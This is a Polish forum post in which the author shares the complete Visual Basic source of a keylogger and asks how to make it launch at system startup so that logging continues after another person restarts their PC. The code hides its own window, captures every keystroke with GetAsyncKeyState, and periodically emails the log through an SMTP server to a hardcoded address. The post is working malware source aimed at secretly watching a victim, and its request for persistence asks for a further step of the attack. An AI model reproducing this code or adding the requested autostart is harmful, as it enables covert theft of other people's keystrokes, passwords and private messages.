Witam mam keyloggera w Visual Basic 2010 Express ladnie wysyla dane na email tylko jest problem ze nie uruchamia sie z startem systemu osoba wylaczy pc i juz lipa z logow wiec co musze dodac do kodu aby uruchamial sie wraz z systemem tutej podaje caly kod:
poradzi ktos cos ? :)
Kod:
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.hide()
Me.visible = False
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("faniks9999@wp.pl")
MyMailMessage.To.Add("faniks9999@wp.pl")
MyMailMessage.Subject = ("keylogged")
MyMailMessage.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.wp.pl")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("faniks9999@wp.pl", "")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged
End Sub
End Classporadzi ktos cos ? :)